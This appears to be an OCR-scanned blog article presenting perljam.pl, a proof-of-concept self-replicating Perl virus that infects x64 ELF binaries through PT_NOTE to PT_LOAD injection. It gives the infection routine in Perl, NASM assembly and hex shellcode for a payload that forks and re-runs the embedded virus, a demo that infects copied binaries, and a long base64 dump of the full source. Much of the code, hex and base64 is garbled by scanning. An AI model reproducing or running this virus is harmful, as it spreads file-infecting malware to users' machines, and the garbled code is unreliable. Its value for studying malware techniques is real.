perljam.pl: A Perl x64 ELF virus

@ hckng.org/articles/perljam-elf64-virus.htmi

[ intro ]

EHLO

This article describes the implementation of perljam.pl, a proof-of-concept x64 ELF virus
written in Perl based mostly on Linux.Midrashim [1]. The virus includes the following features
and limitations:

e ltuses the PT_NOTE to PT_LOAD ELF injection technique.

|t uses a non-destructive hardcoded payload that prints an extract from the song
"release" by Pearl Jam and then infects other binaries in the current directory.

« It works on regular and position independent binaries.

« ltis written in Perl, an interpreted language available by default on most Linux x64
distributions.

|t does not implement any evasion or obfuscation techniques, making it trivial to detect.

A plain text version of this article can be found here.
Source code:

https://git.sr.ht/~hckng/vx/tree/master/item/perljam.pl
https://github.com/ilv/vx/blob/main/perljam.pl (mirror)

IMPORTANT NOTE: perljam.pl was made for educational purposes only, I'm not responsible
for any misuse or damage caused by this program. Use it at your own risk.

[ part 1: infection ]

The infection is performed using the well known "PT_NOTE to PT_LOAD" technique[2]
which overwrites an auxiliary segment in the program headers table and converts it into a
loadable segment where executable instructions can be placed without affecting program
execution. This method works both on regular and position independent binaries with the
exception of golang executables that use PT_NOTE segment for storing data used during
execution.

The infection algorithm can be summarized as follows:
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¢ a) Read the binary and parse its ELF header and program headers table.

» b) Calculate the address for loading a payload in memory.

e ¢) Change binary's entry point to the previous calculated address.

e d) Find a PT_NOTE segment and convert it to an executable PT_LOAD segment.
e e) Adjust PT_LOAD segment's virtual address, file size and memory size.

» f) Append payload after the binary's code.

o g) Calculate binary's original entry point relative to the new entry point.

* h) Append an instruction for jumping back to the binary's original entry point.

i) Append the virus source code at the end of the binary.

Relevant parts of the implementation will be discussed in the next sections.

[ read ELF binary and parse its headers ]

The binary is opened with the ":raw' pseudo-layer[3] for passing binary data. Two helper
subroutines are used for reading and writing content with the 'unpack/pack’[4] functions:

# read & unpack

sub ru {
my $fh = shift;
my $tpl = shift;
my $sz = shift;

read $fh, my $buff, $sz;
return unpack($tpl, $buff);

}

# write & pack

sub wp {
my $fh = shift;
my $tpl = shift;
my $sz = shift;
my @data = @_;

syswrite $fh, pack($tpl, @data), $sz;
}
[...]
open my $fh, '<:raw', $file;

The above subroutines use a given template ($tpl) for converting data from/to the binary. In
this case the following templates are used:

e "C", an unsigned char value (1 byte).
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e "a", a string with arbitrary binary data (1 byte).

e "x", a null byte.

» "S", an unsigned short value (2 bytes).

"I", an unsigned integer value (4 bytes).

e "g", an unsigned quad value (8 bytes).

Using [5] as a reference, reading the binary's headers and checking the ELF magic numbers
can be done as follows:

my @ehdr = ru($fh, "CaaaCCCCCx7SSIqgqqgqqIsSSSSSsSS" 0x40);

# for clarity
my ($e_phoff, $e_phentsize, $e_phnum) = ($ehdr[13], $ehdr[17], $ehdr[18]);

# skip non ELFs
# $ehdr[i] = ei magi, 0 <= 1 <=3

if($ehdr[0] '= 127 && $ehdr[1] !~ "E" && $ehdr[2] '~ "L" && $ehdr[3] !~ "F") {
close $fh;
next;

}

[ calculate address and change entry point ]

According to [2], the new entry point of the injected payload must be an address far beyond
the end of the original program in order to avoid overlap. For simplicity, the value 0xc000000
plus the size of the binary is chosen and then the modified headers are copied into a
temporary binary.

# file size

my $file_sz = (stat $file)[7];
[...]

my $far_addr = 0xc000000;
$ne_entry = $far_addr + $file_sz;
$oe_entry = $ehdr[12];

$ehdr[12] $ne_entry;

# create tmp file for copying the modified binary
open my $fh_tmp, '>:raw', "$file.tmp";
wp($fh_tmp, "CaaaCCCCCXx7SSIqgqqgISSSSSS", 0x40, @ehdr);
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[ convert PT_NOTE to PT_LOAD and adjust values ]

Next, in order to parse the entries of the program headers table the binary is read on
chuncks based on the values $e_phoff, $e¢_phnum and $e_phentsize obtained from the
binary's ELF header. Reference for the expected headers values can be found at [6]:

seek $fh, $e_phoff, "SEEK_SET";
seek $fh_tmp, $e_phoff, "SEEK_SET";

# inject the first PT_NOTE segment found
my $found_ptnote = 0;
for (my $i = 0; $i < $e_phnum; $i++) {
#
# read program header
# see https://refspecs.linuxbase.org/elf/gabi4+/ch5.pheader.html
my @phdr = ru($fth, "I I g q g q gq q", $e_phentsize);

[...]
wp($fh_tmp, "I I g g g qq q", $e_phentsize, @phdr);

When a segment of p_type 4 is found (PT_NOTE) the entries values are modified as follows:

e p_type = 1 (for converting it to PT_LOAD)

o p_flags = 5 (for making it executable)

o p_offset = $file_sz; (offset to end of binary, where payload will be appended)
e p_vaddr = $ne_entry (the new entry point calculated above)

o p_filesz += payload size + 5 + virus size (payload + jmp + virus)

e p_memsz += payload size + 5 + virus size (payload + jmp + virus)

e p_align = 2mb (based on [x])

[ append payload ]

After parsing the entries of the program headers table, the rest of the binary is copied without
change, followed by the hardcoded payload (the process of adjusting the payload will be
described in part 2).
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# copy rest of file's content
syswrite $fh_tmp, $_ while(<$fh>);

#
# append payload
#

syswrite $fh_tmp, $payload_prefix;

[...]
# adjust payload

[...]
syswrite $fh_tmp, $payload_suffix;

[ calculate relative entry point and append jump instruction ]

The binary's original entry point relative to the entry point of the injected payload is calculated
using the formula described in Linux.Midrashim[1]:

newEntryPoint = originalEntryPoint - (p_vaddr + 5) - virus_size

The jump instruction is then appended using such value:
$ne_entry = $oe_entry - ($ne_entry + 5) - $payload_sz;
# 4 bytes only

$ne_entry = $ne_entry & OxFFFFFfff;
wp($fh_tmp, "C q", 6x9, (Oxe9, $ne_entry));

[ append virus ]

To achieve replication, perljamp.pl source code must be appended to the infected binary. To
carry out this task, the virus should open itself (using the predefined variable $0) and append
its content after the jump instruction. Note that if perljam.pl is executed from an infected
binary then a search for the string "#!/usr/bin/perl" must be performed to ensure that only the
source code of the virus is copied and not the content of the binary. The virus source code is
read before the main loop and it's written on each infection.

5/15



#

# virus code

#

# search for '#!/usr/bin/perl' first to avoid copying extra data
my $vx;

open my $fh_vx, '<', $0;

while(<$fh_vx>) {

last if($_ =~ q(#!/usr/bin/perl));
}
$vx = "#!/usr/bin/perl\n";
$vx .= $_ while(<$fh_vx>);

close $fh_vx;
# virus size
my $vx_sz = length($vx);

[...]

[...]

#

# append virus code
#

syswrite $fh_tmp, "\n".$vx;

[ overwrite binary ]

At this point the virus has created an infected copy of the binary. The final step is to delete
the original binary and replace it with the infected copy.

close $fh;
close $fh_tmp;

# replace original binary with tmp copy
unlink $file;

copy("$file.tmp", $file);

unlink "$file.tmp";

chmod 0755, $file;

[ part 2: payload & replication ]
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The harcoded payload consists of two combined shellcodes. The first one prints to stdout an
extract from the song "release" by Pearl Jam. The second one performs the virus replication
by running the infected binary as a perl script. For this the perl interpreter must be executed
using the -x switch, which according to Perl's documentation[7]:

"tells Perl that the program is embedded in a larger chunk of unrelated text, such as in a mail
message. Leading garbage will be discarded until the first line that starts with #! and contains
the string 'perl™

Therefore, an execve syscall for "/usr/bin/perl -x infected_binary" will run the perljam.pl
source code embedded in the infected binary. This syscall must be invoked inside a child
process (fork) to prevent the interruption of the original program code.

However, the "infected_binary" (filename) argument in the execve syscall needs to change
on each infection according to the binary's filename. To achieve this an initial version of the
assembly code is compiled using a fixed string of length 255 (maximum filename length on
Linux) as the filename argument. This string will be replaced later.

The following assembly code combines the two shellcodes mentioned before:
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BITS 64

global _start

section .text

_start:
call main
db "i am myself, like you somehow", 0Oxa, Ox0
db "/usr/bin/perl", 0x0
db "-x", 0Ox0
db XXX XX XXX XXX XXX XX XX XK XXX XX XX XK XXX XXX XXX XXXKXXXX XXX XKXKXXKXXXXXXXXXXXXX "
db XXX XX XX XX XXX XX XX XX XX XXX XX XX XK XXX XXX XXX XKXXXXXX XXX XKXKXXXXXXXXXKXXXXXX "
db XXX XX XX XX XXX XX XX XX XX XXX XX XX XK XX XXX XXX XXKXXXXXXXXXXKXKXXXXXXXXXKXXKXXXX "
db " XXXX XXX X XXX X XXX XXX KX XXX XXX KX XXX XXXXXXXXXXX" , OX0O

rrrrrrrrrororu

; print msg

rrrrrrrrrrorg

X0r rax, rax
xor rdx, rdx
inc al

mov rdi, rax
pop rsi

mov dl, 30
syscall

rrrrrrrir

; fork

rrrrrrri

X0r rax, rax
mov rax, 57
syscall

test eax, eax
jne parent

rrrrrrrrrrrrrrrrrrrrrrrrg

; call perl interpreter

rrrrrrrrrrrrrrrrrrrrrrrrg

; filename "/usr/bin/perl"
lea rdi, [rsi+31]

; argv
; ["/usr/bin/perl™, "-x", "xxxxx..."] (on reverse)
xor rdx, rdx

push rdx

lea rbx, [rsi+48] ; "XXX...
push rbx

lea rbx, [rsi+45] ; "-x"
push rbx

push rdi ; "/usr/bin/perl"
mov rsi, rsp
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; execve & exit
X0r rax, rax
mov rax, 59

mov rdx, O
syscall

xor rdx, rdx
mov rax, 60
syscall

parent:
; cleanup for the jmp instruction
X0r rax, rax
xor rdx, rdx

The code is then compiled to extract its hexadecimal representation.

$ nasm -f elf64 -o perljam.o perljam.s
$ objdump -d perljam.o

After this, the harcoded payload is generated by removing the hexadecimal representation of
the fixed string (\x78 * 255) and then splitting the remaining shellcode in two: before and after
the fixed string.

my ($payload_prefix, $payload_suffix);

$payload_prefix = "\xe8\x30\x01\Xx00\x00\Xx69\x20\x61\x6d\x20\x6d\x79\x73\x65";
$payload_prefix .= "\Xx6c\x66\x2c\x20\X6C\X69\X6b\X65\Xx20\x79\x6T\x75\x20\x73";
$payload_prefix .= "\x6f\x6d\x65\x68\x6T\x77\x0a\x00\x2F\x75\x73\x72\x2f\x62";
$payload_prefix .= "\x69\x6e\x2f\x70\x65\x72\x6c\x00\x2d\x78\x00";

$payload_suffix = "\x00\x48\x31\xc0\x48\x31\xd2\xfe\xc0\x48\x89\xc7\x5e\xb2";
$payload_suffix .= "\x1e\xO0f\x05\x48\x31\xcO\xb8\x39\x00\x00\x00\x0f\x05\x85";
$payload_suffix .= "\xcO\x75\x2f\x48\x8d\x7e\x1f\x48\x31\xd2\x52\x48\x8d\x5e";
$payload_suffix .= "\x30\x53\x48\x8d\x5e\x2d\x53\x57\x48\x89\xe6\x48\x31\xc0";
$payload_suffix .= "\xb8\x3b\x00\x00\x00\xba\x00\x00\x00\Xx00\x0f\x05\x48\x31";
$payload_suffix .= "\xd2\xb8\x3c\x00\x00\x00\x0T\x05\x48\x31\xc0\x48\x31\xd2";

The payload is adjusted on each infection by inserting the hexadecimal representation of the
infected binary's filename plus N null bytes, where:

N = 255 - length(infected binary's filename)

Filling with N null bytes after the infected binary's filename ensures that the payload will not
crash on runtime, since adding or removing bytes will break the shellcode. In addition, the
first null byte located after the infected binary's filename will be interpreted by the machine as
the end of the string and the remaining null values will be ignored.
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The adjustment can be done as follows:

syswrite $fh_tmp, $payload_prefix;

# adjust payload with target's filename

my @chars = split //, $file;

for(my $1i = 0; $i < length($file); $i++) {
wp($fh_tmp, "C", 0x1, (hex unpack("H2", $chars[$i])));

}

# fill with null values

for(my $i = length($file); $i < 255; $i++) {
wp($fh_tmp, "C", 0x1, (0x00));

}

syswrite $fh_tmp, $payload_suffix;

[ part 3: run]

To run:
$ perl perljam.pl

Example:

$ cp /bin/id .

$ ./id

uid=1000(isra) gid=1000(isra) grupos=1000(isra) [..]
$ perl perljam.pl

$ ./id

i am myself, like you somehow

uid=1000(isra) gid=1000(isra) grupos=1000(isra) [..]
$ cp /bin/id id2

$ ./id2

uid=1000(isra) gid=1000(isra) grupos=1000(isra) [..]
$ ./id

i am myself, like you somehow

uid=1000(isra) gid=1000(isra) grupos=1000(isra) [..]
$ ./id2

i am myself, like you somehow

uid=1000(isra) gid=1000(isra) grupos=1000(isra) [..]

[ part 4: references ]
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[1] https://www.guitmz.com/linux-midrashim-elf-virus/

[2] https://www.symbolcrash.com/2019/03/27/pt_note-to-pt_load-injection-in-elf/
[3] https://perldoc.perl.org/PerllO#:raw

[4] https://perldoc.perl.org/functions/pack

[5] https://refspecs.linuxfoundation.org/elf/gabi4+/ch4.eheader.html

[6] https://refspecs.linuxbase.org/elf/gabi4+/ch5.pheader.html

[7] https://perldoc.perl.org/perlrun#-x

[ part 5: the code ]

perljam.pl
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IyEvdXNyL2Jpbi9wzXJsCiMgcGVybGphbS5wbAoj IHdyaXROZW4AgYnkgaXNyYSAtIGlzcmEgX3J1
cGxhY2VfYnlfQF8gZmFzdGlhaWwubmVOICOgaHROCHMELY90Y2tuZy5vemcKIwojIGhOdHBz0i8v
aGNrbmcub3JInL2FydGljbGVzL3BlcmxqYWOtZWxmNjQtdmlydXMuaHRtbA0jIGhOdHBz0i8vZ210
LNNyLmhOL350Y2tuzy92eC90cmV1L21hc3R1ci9pdGVtL3BlecmxqYWOucGwKIyBodHRwczovL2dp
dGh1Yi5jb20vawx2L3Z4L2Jsb2IvbWFpbiowzXJsamFtLnBsCiMgCiMgdmVyc21lvbiAwL jIgLSAw
NC4w0C4yMDIzCiMKIyBBIFBlcmwgeDYOIEVMRiB2aXJ1czoKIYyAtIGltcGx1lbWVudGFOawouIGOm
IFBUXO5PVEUQLT4gUFRTTE9OBRCBpbmplY3Rpb249dGVjaG5pcXV1IGZvciB4NjQgRUXGCcwojICOg
d29ya3Mgh24gcG9zaXRpb24gawW5kzXB1bmR1bnQgzZzXh1lY3VOYWISZXMKIYAtIG1OIGluamVjdHMg
YSB0oYXJKkY29kZWQgcGF5bG9hZAojICOgawsmZWNOcyBmawx1lcyBpbiBjdXJyZW50IGRpcmVjdG9y
eSwgbmouLXJ1Y3Vyc212ZWx5CiMgLSBzZWxmLXJ1cGxpY2FudAojCiMgcnVUuIGFzIGZvbGxvd3M6
CiMgLSBwWZXJsIHBlcmxqYWOuUCGWKIwOojIHROZSBWYX1sb2FkIHByaw50cyBObyBzdGRvdAXQgYW4g
ZXhOcmFjdCBmcm9tIHR0ZSBzb25nICIyZWXx1YXN1IiBieSBQZWFybCBKYWOQgCiMgYW5kIHR0ZWA4g
cmVwbG1ljYXR1lcyBOaGUgdmlydXMgYnkgcnVubmluZyBwZXJsamFtLnBSIHNvdXJjZSBjb2R1IGVt
YmVkZGVkCiMgaw4gdGh1IGluzmVjdGVkIGJIpbmFyeQojCiMgdG8gzG86CiMgLSBtb3J1IHR1C3Rp
bmcsIGN1cnJ1bnRseSBOZXNOZWQgh246CiMgCSOQgRGViaWFUIDEXLZEYIHg4N182NCwgUGVyYybCB2
NS4zMi4xCiMKIyBwzZXJsamFtLnBsIHdhcyBtYWR1IGZvciB1ZHVjYXRpb25hbCBwdXJwb3N1lcyBv
bmx5LCBJJ20gbm90IHJI1c3BvbnNpYmx1CiMgZm9yIGFueSBtaXN1c2Ugh3IgZGFtYWd1IGNhdXN1
ZCBieSB0aGlzIHByb2dyYWOUIFVZzZSBpdCBhdCB5b3VyIG93biByaXNrLgojCiMgdGhhbmtzIHRv
IHRtcDB1dCBhbmQgdnh1ZyBmb3IgYWxsIHR0ZSBYZXNvdXJjZXMKIyAKIwojIG1lhaw4dgcmvmzXJ1l
bmN1czoKIyAtIGhOdHBz0i8vd3d3LmdlaXRtei5jb20vbGludXgtbwWlkemFzaGltLWVsZil2axXJl
Ccy8KIYyAtIGhOdHBz0i8vd3d3LNN5bWJIVvhbGNYYXNoLmNvbS8yMDESLzAZzLzI3L3BOX25vdGUtdG8t
CcHRfbGOhZC1pbmplY3Rpb24taw4tZwxmLwojICOgaHROCHM6LY90bXBvAXQuc2gvMS8zLmhObWwK
IyAtIGhOdHBz0i8vdGiwb3VOLNNOLZEVMi50dG1sCiMKCNVzZSBzdHIpY3Q7CnVzZSBpbnR1Z2Vy
Owplc2UgRm1sZTo06Q29weTsKCiMgecmVhZCAMIHVuUcGFjawpzdWIgcnUgewoJbXkgJGZoICA9IHNO
awzeowo JbXkgJHRWbCA9IHNoaWZOOwo JbXkgJHNEICA9IHNoaWZOOwWOKCXJ1YWQgJIGZoLCBteSAk
YnVmZiwgJHN60woJcmVOdXJuIHVucGFjaygkdHBSLCAKYNVmMZik7CnOKCiMgd3JpdGUgJIiBwYWNr
CnN1YiB3cCB7CglteSAkZmggICA9IHNoawZeOOwoJbXkgJHRWhCAgPSBzaGlmdDsKCW15ICRzeiAg
IDOgc2hpzZnQ7CglteSBAZGFOYSA9IEBTOWOKCXN5c3dyaXR1ICRmaCwgcGFjaygkdHBSLCBAZGFO
YSksICRze]jsKfQoKIwojIHBheWxvYWQKIwojIHByaW50cyAiaSBhbSBteXN1bGYsIGxpa2Ugew9l
ITHNvbWVOob3cilLCBOaGVuUIGV4ZWN1dGVzIHR0ZSBpbmZ1Y3R1ZCBiaWs5hcnkKIyBhcyBhIHBlcmwg
C2NyaXBOIHRVIGFjaGlldmugcmVwbGljYXRpb24gKC91c3IvYmluL3BlcmwgLXggaWsmZWNOZWRT
YmluYXJ5KQ0jCiMgcGF5bG9hZCBuzZWVkcyBObyBiZSBzcGXxpdHR1ZCBpbiBOd286I1GJ1Zm9yZSBh
bmQgYWZ0ZXIgdGhlICJpbmzZ1lY3R1ZF9iaW5hcnkiCiMgcGFyYW11dGVYIGluICcvdXNyL2Jpbiow
ZXJSIC14IGluZmVjdGVkX2ZpbGUn0yB0aGlzIGFsbG93IHVzZIHRVIGFkanVzdCBOaGUKIyBwYX1s
b2FKkIGOuULXR0ZS1mbHkgYnkgYWRkaWs5nIHR0ZSB0oZXhhZGVjawWlhbCByZXByZXN1bnRhdGlvbiBv
ZiBOaGUgawWs5mzZWNOZWQKIyBiaws5hcnkncyBmawx1lbmFtZQojCiMgZm9yIGlvemUgZGVOYWlscyBj
aGVjayBodHRwczovL2hja25nLm9yZy9hcnRpY2x1lcy9wzZXJIsamFt IAoKbXkgKCRwWYX1sb2FkX3By
ZWZpeCwgJHBheWxvYWRfc3VmzZm14KTsKIHBheWxvYWRTcHI1Zm14ICA9ICJIceGU4XHgzMFX4MDFc
eDAWXHgWMFx4NjlceDIwXHg2MVXx4NmRceDIwWXHg2ZFx4Nz1lceDczXHg2NSI7CiRwYX1sb2FkX3By
ZWZpeCAUPSA1XHQg2Y1x4NjZceDJjXHgyMFx4NmNceDY5XHg2Y1x4NjVceDIwXHg30Vx4NmZceDcl
XHgYMFx4NzMi0wokcGF5bG9hZFOwemVmaXggLjOgIlx4NmZceDZkXHg2NVx4NjhceDZmXHg3N1x4
MGFceDAwWXHgyZ1x4NzVceDczXHg3M1x4MmZceDYyIjsKIHBhewWxvYWRfcHIJ1Zm14IC49ICJceDY5
XHg2ZVx4MmZceDcwXHg2NVx4NzJceDZjXHgwMFx4MmRceDc4XHgwMCI7CgokcGF5bG9hZF9zdwWZm
aXggIDOgI1x4MDBceDQ4XHgzMVXx4YzBceDQ4XHgzMVx4ZDJIceGZ1XHhjMFx4NDhceDg5XHhjN1x4
NWVceGIyIjsKIHBheWxvYWRTc3VmZml4IC49ICJIceDF1XHgwZ1x4MDVceDQ4XHgzMVx4YzBceGI4
XHgzOVx4MDBceDAWXHQWMFx4MGZceDA1XHg4NSI7CiRwYX1sh2FkX3N1ZmZpeCAUPSAiXHhjMFx4
NzVceDJImXHgOOFXx40GRceDd1XHgxZ1x4NDhceDMXXHhKM1x4NTJceDQ4XHg4ZFx4NWUi0wokcGF5
bG9hZF9zdwWZmaXggLjOgIlx4MzBceDUzXHgOOFx40GRceDV1XHgyZFx4NTNceDU3XHgOOFx40D1c
eGU2XHgOOFx4MzFceGMwI jsKIHBheWxvYWRfc3VmZm14IC49ICJIceGI4XHgzY1x4MDBceDAwWXHgw
MFx4YmFceDAwWXHgWMFXx4MDBceDAwWXHgWZ1x4MDVceDQ4XHgzMSI7CiRwYX1sb2FkX3N1ZmzZpeCAu
PSAiXHhkM1x4YjhceDNjXHgwMFx4MDBceDAwWXHgwZ1x4MDVceDQ4XHgzMVx4YzBceDQ4XHgzMV x4
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ZDIiOwoKIyBzaXplIGlzIGxlbmdoaCBvZiBwcmVmaxggKyBzdwZmaXggKyBtYXgghGVuZ3RoIGOm
IGZpbGVUYW11IGOUIEXpbnV4Cm15ICRWYX1sh2FkX3N6IDOgMDsKIHBheWxvYWRTc30gKz0ghGVu
Z3ROKCRWYX1sb2FkX3ByZWZpeCk7CiRwYX1sb2FkX3N6ICs9IGx1bmdOaCgkcGF5bGOhZF9zdwZm
axXgpOwokcGF5bG9hZF9zeiArPSAYNTU7CgojCiMgdmlydXMgY29kZQojCiMgc2VhecmNoIGZvciAn
IyEvdXNyL2Jpbi9wzXJsJyBmaxXJzdCBObyBhdm9pZCBjb3B5aw5nIGV4dHIhIGRhdGEKbXkgJHZ4
OwpvcGVUIG15ICRmaF92eCwgJzwnLCAkMDsKd2hpbGUOPCRmaF92eD4pIHsKCWxhc3QgawYoJF8g
PX4gcSgjIS91c3IvYmluL3BlcmwpKTsKfQokdnggIDOgIiMhL3Vzci9iawWdvcGVybFxuljsKIHZ4
IC49ICRfIHdoawWx1KDwkZmhfdng+KTsKY2xvc2UgJGZoX3Z40wojIHZpcnVzIHNpemUKbXkgJHZ4
X3N6IDOghGVUZ3ROKCR2eCk7CgojIGxXvb3AgY3VycmVudCBkaXJ1Y3RvcnkKZm9yZWFjaCBteSAk
ZmlsZShnbG9iIHFxeyIuLyoifSkgewoJIyBmawWxlcyBvbmx5CgluZXhO@IG1mKCEtZiAkZmlsZSk7
CglvcGVUIG15ICRmaCwgJlzw6cmF3JywgJlGZpbGU7CgoJIyBmawWx1IHNpemUKCW15ICRmawWx1X3N6
IDOYKHNOYXQgJIGZpbGUpWzddOwoKCSMgh3JpzZ21luYWwgYW5kIG51dyBlbnRyeSBwb21udHMKCW15
ICgkb2vfzw50cnksICRuzZV91lbnRyeSk7CgoJIwoJIyByZWFkIEVMRiBOZWFKkZXIKCSMgc2V1IGho
dHBz0i8vcmVmec3BlY3MubGludXhmb3VuzZGFOawouLm9yZy91bGYvZ2FiaTQrL2NoNC51aGVhZGVy
LmhObWwKCW15IEBlaGRyIDOgcnU0JGZoLCAiIQyBhIGEgYSBDIEMgQyBDIEMgeDcgUyBTIEKgCSBX
THEgSSBTIFMgUyBTIFMgUyISIDB4ANDApOwWOKCSMgZmOyIGNsYXJIpdHkKCW15ICgkZVOwaGOmZiwg
JGVfcGhlbnRzaXplLCAkZVOwaG51bSkgPSA0JGV0ZHIBMTNALCAKZWhkc1sxN10sICR1aGRywWzE4
XSk7CgoJIyBza2lwIG5vbiBFTEZzCgkjICR1aGRyW21dICA9IGVpX21hZ2ksIDAgPDOgaSA8BPSAZ
CglpzigkzwhkclswXSAhPSAxMjcgJiYgJGVozZHIbMVOgIX4gIkUiICYmICR1aGRyWzJAICF+ICJIM
IiAmJiAkZWhkclszXSAhfiAiRiIpIHSKCQ1jbG9zZSAkZmg7CgkIbmV4dDSKCXOKCgkjIGNOZWNr
IGImIGJIpbmFyeSBoYXMgYWXyZWFkeSBiZWVuUIGluZmVjdGVkCglteSAkaws5mZWNOZWQQPSAwWOwOJ
b3B1lbiBteSAkZmhfY2hlY2ssICc80nJhdycsICRmawWx10woJd2hpbGUoPCRmaF9jaGVjaz4pIHsK
CQlpzigkXyA9fiBxKCMhL3Vzci9iaw4vcGVybCkpIHsSKCQkJIJIGluzmVjdGVkKys7CgkJICwWxhc3Q7
CgkJfQoJfQoJlIyBza2lwIGluzZmVjdGVKIGZpbGVzCglpZigkawWsmZWNOZWQPIHSKCQljbG9zZSAk
Zmg7CgkJY2xvc2UgJGZoX2NoZWNrowoJCW51eHQ7Cgl9CgoJIyBjaGFuz2UgzZw50cnkgcG9pbnQg
KCR1aGRyWzEXXSA9IGVTZW50cnkpCgkjIG51dyBlbnRyeSBwb21ludDogZmFyIGF3YXkgYWRkcmVz
CYArIGJpbmFyeSBzaXplCglteSAkZmFyX2FkZHIgPSAweGMWMDAWMDA7CgkkbmVfZwW50cnkgPSAk
ZMFyX2FkZHIgKyAkZmlszZV9ze]jsKCSRvZV91bnRyeSA9ICR1aGRyWzEYyXTsKCSR1aGRyWzEyXSA9
ICRuUzZV91lbnRyeTsKCgk]jIGNYyZWFOZSBObXAgZm1lsZSBmb3IgY29weWluzZzyBOaGUghwWokawWzZpzZwQg
YmluYXJ5CglveGVUIG15ICRmaF90bXAsICc+OnJhdycsICIKkZml1sZS50bXAi0woJd3A0JGZoX3Rt
cCwgIkMgYSBhIGEgQYyBDIEMgQyBDIHg3IFMgUyBJIHEgCSBXIEKgUYBTIFMgUyBTIFMiLCAweDQw
LCBAZWhkcik7CgoJdc2V1ayAkZmgsICR1X3Bob2ZmLCALIUOVFS19TRVQiOwoJc2V1ayAkZmhfdGliw
LCAkZVOwaGIMZiwgI1INFRUtFUOVUIjsKCgkjIGluamVjdCBOaGUgZmlyc3QgUFRTFTkOURSBzZWdt
ZW50IGZvdw5kCglteSAkZm91bmRfcHRUb3R1IDOgMDsKCWZvciAobXkgJGkgPSAwWOyAkaSA8ICR1
X3BobnVt0OyAkaSsrKSB7CgkJIwoJCSMgcmVhZCBwcm9ncmFtIGh1YWR1cgoJCSMgc2V1IGhOdHBz
0i8vcmVmc3BlY3MubGludXhiYXNILmOyZy91bGYvZ2FiaTQrL2NoNS5waGVhZGVyLmhObwWwKCQLlt
eSBACGhkciA9THJ1KCRmaCwgIkkgSSBXIHEgCSBXIHEgQCSISICR1X3B0oZW50c216ZSk7CgoJCSMg
UFRTTKOURSBzZWdtZW50IGZvdw5kCgkJawYoJHBoZHIbMFOgPTOgMHgWMDAWMDAWNCAMJI1AhJGZvV
dwW5kX3BObm90ZSkgewoJCQkkZm91bmRfcHRUb3R1IDOGMTsKCgkJCSMgY2hhbmd1IFBUXO5PVEUg
dG8gUFRTTE9BRCA0OCF90eXB1KQoJCQkkcGhkc1swXSA9IDBAMDAWMDAWMDE7Cgk JCSMgbWFrZSBO
aGUgbmV3IFBUXOxPQUQgc2VnbWVudCBleGVjdXRhYmx1IChwX2ZsYWdzKQoJCQkkcGhkc1lsxXSA9
IDB4ANTSKCQkJIIyBjaGFuz2Ugh2Zmc2VOIHRVIGVUZCBvZiBpbmzZ1Y3R1ZCBmaWx1IChwX29mzZnN1
dCkKCQkJJIHB0ZHIbM1OgPSAkZm1lsZV9zejsKCQkJIIyBjaGFuz2UgdmlydHVhbCBhZGRYZXNzIHRvV
IHR0ZSBuZXcgzZW50cnkgcG9pbnQgKHBfdmFkZHIpCgk JCSRwaGRyWzNdIDOGJIG51X2VudHI50woJ
CQkjIGNoYW5nZSBwX2ZpbGVzeiBhbmQgcF9tZWl1zeiAOYWRKIHBheWxvYWQQc216ZSArIGptcCAr
IHZ4TIHNpemUpCgkJCSRwaGRyWzVdJICSOICRWYX1sb2FkX3N6ICSgNSArICR2eF9ze]jsKCQkJIJIHBoO
ZHJbN1OgKz0gJHBheWxVvYWRfc30gKyA1ICsgJIHZ4X3N60woJICQkjIGFsaWduIDJtYiAocF9hbGln
bikKCQkJJHBOZHJIbN10gPSAwWeDIWMDAWMDSKCQ19CgkJd3A0JGZoX3RtcCwgIkkgSSBXIHEgCSBX
THEgCSISICR1X3B0oZW50c216ZSwgQHBOZHIpOwoJTfQOKCSMgY29weSBYZXNOIGOMIGIpbmFyeSdz
IGNvbnR1bnQKCXN5c3dyaXR1ICRmaF90bXAsICRfIHdoaWx1KDwkZmg+KTsKCgkjCgkjIGFwcGVu
ZCBwYX1sb2FkCgkjCglzeXN3cmlOZSAKZmhfdG1lwLCAKkcGF5bGOhZF9wcmVmaxXg7CgkjIGFkanVvz
dCBwYX1sb2FkIHdpdGggawsmzZwWNOZWQgYmluYXJ5JI3MgZmlsZW5hbWUKCW15IEBjaGFycyA9ITHNw
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bG1lOIC8VLCAkZmlsZTsKCWZvcihteSAkaSA9IDA7ICRpIDwghGVUZ3ROKCRMaWx1KTsgJGkrKykg
ewoJCXdwKCRmaF90bXAsICJIDIiwgMHgXxLCAoaGV4IHVuUcGFjaygiSDIiLCAkY2hhcnNbJG1dKSkp
OwoJfSAKCSMgZmlsbCB3aXRoIG51bGwgdmFsdwWVzCglmb3IobXkgJGkgPSBsZW5ndGgoJGZpbGUp
0yAkaSA8IDI1INTsgJGkrKykgewoJCXdwKCRmaF90bXASICIDIiwgMHgXLCAOMHgWMCkpOwoJfQoJ
¢c31zd3JpdGUgJIGZoX3RtcCwgIHBheWxvYWRTfc3VmZm140woKCSMKCSMgYXBwZW5kIHJ1bGFOaxz1l
IGptcA0JIwoJIyBOaGUgcmVsYXRpdmUgzZwW50cnkgcGOpbnQgzZm9yIGplbXBpbmcgYmFjayBoObyBO
aGUgYmluyXJ5J3Mgh3Jpz21uYWwKICAgICAGICA]IGNVZGUgaXMgY2FsY3VsYXR1ZCB1c21luzZyBO
aGuUgzm9ybXVsYSBkZXNjcmlizwQgaw4gTGludXguTwlkcmFzaGlt0goJIwoJIyBuZXdFbnRyeVBv
aW50IDOgh3JpZ21uYWXxFbnRyeVBvaw50ICOgKHBOZHIudmFKZHIrNSkgLSB2axXJ1c19zaXplCgkj
CgkkbmVfzw50cnkgPSAkb2VFZW50cnkgLSA0JG51X2VudHI5ICsgNSkgLSAKkCcGF5bGOhZF9zejsK
CSMgNCBieXR1lcyBvbmx5CgkkbmVfzws50cnkgPSAkbmVfZwW50cnkgJiAweGZmZmZmZmZmOwoJd3A0
JGZ0oX3RtcCwgIKkMgcSIsIDB40SwgKDB4ZTksICRuZV91bnRyeSkpOwoKCSMgZm9yIClubylwawug
eW91IGNhbiB1lc2UghW92IHJheCwgamlwIHJheCB3aXRoIHRoZSBvcmlnaW5hbCBlbnRyeSBwb21lu
dA0JI3N5c3dyaXR1ICRmaF90bXAsIHBhY2s0IkMgQyBXIEMgQyIsIDB4NDgsIDB4YjgsICR1X2Vu
dHJ5LCAweGZmLCAweGUWKTsKCgkjCgkjIGFwcGVuzCB2axJ1icyBjb2R1CgkjCglzeXN3cmlOZSAk
ZmhfdG1wLCAiXG4iLiR2eDsKCgljbG9zZSAkZmg7CgljbG9zZSAkZmhfdG1lwOwoKCSMgcmVwhGF j
